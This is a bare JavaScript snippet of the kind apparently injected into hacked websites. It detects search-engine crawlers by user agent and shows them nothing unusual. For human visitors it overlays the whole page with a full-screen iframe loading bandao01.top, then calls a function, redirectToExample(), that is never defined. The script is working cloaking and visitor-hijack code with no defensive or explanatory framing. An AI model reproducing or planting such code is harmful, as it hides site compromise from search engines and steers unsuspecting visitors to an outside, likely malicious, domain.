function isBot() {
var userAgent = navigator.userAgent;
var bots = ["Googlebot", "Bingbot", "Slurp", "DuckDuckBot", "Baiduspider", "YandexBot", "Sogou", "Exabot", "facebot", "ia_archiver"];
for (var i = 0; i < bots.length; i++) {
if (userAgent.indexOf(bots[i]) >= 0) {
return true;
}
}
return false;
}
if (isBot()) {
console.log("spider");
} else {
var iframe = document.createElement('iframe');
iframe.src = 'https://bandao01.top/';
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.width = '100%';
iframe.style.height = '100%';
iframe.style.zIndex = '9999';
document.body.appendChild(iframe);
redirectToExample()
}